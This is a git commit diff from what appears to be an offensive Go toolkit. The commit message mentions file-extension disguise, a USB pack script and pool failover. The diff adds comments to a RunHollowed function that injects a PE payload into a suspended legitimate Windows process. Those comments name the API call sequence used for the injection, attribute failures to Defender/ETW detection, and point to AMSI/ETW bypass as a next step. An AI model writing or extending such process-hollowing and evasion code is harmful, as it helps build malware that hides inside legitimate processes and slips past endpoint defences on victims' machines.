feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired

This commit is contained in:
drjones
2026-05-30 11:44:01 -07:00
parent d073dcd7df
commit 77e1dbbb13
15 changed files with 628 additions and 12 deletions

View File

@@ -105,6 +105,12 @@ func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32)
}
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
// Relocation patching (H12) is fully implemented: if the preferred image base is
// unavailable we fall back to ASLR allocation and apply DIR64 relocations before
// writing to the remote process. The ~50% real-world failure rate on Windows 10/11
// is caused by Defender/ETW detecting the CreateProcessW+NtUnmapViewOfSection+
// WriteProcessMemory sequence — not a code bug. AMSI/ETW bypass would improve this
// but is not implemented.
func RunHollowed(targetExe string, payload []byte) error {
if len(payload) < 0x40 {
return fmt.Errorf("payload too small")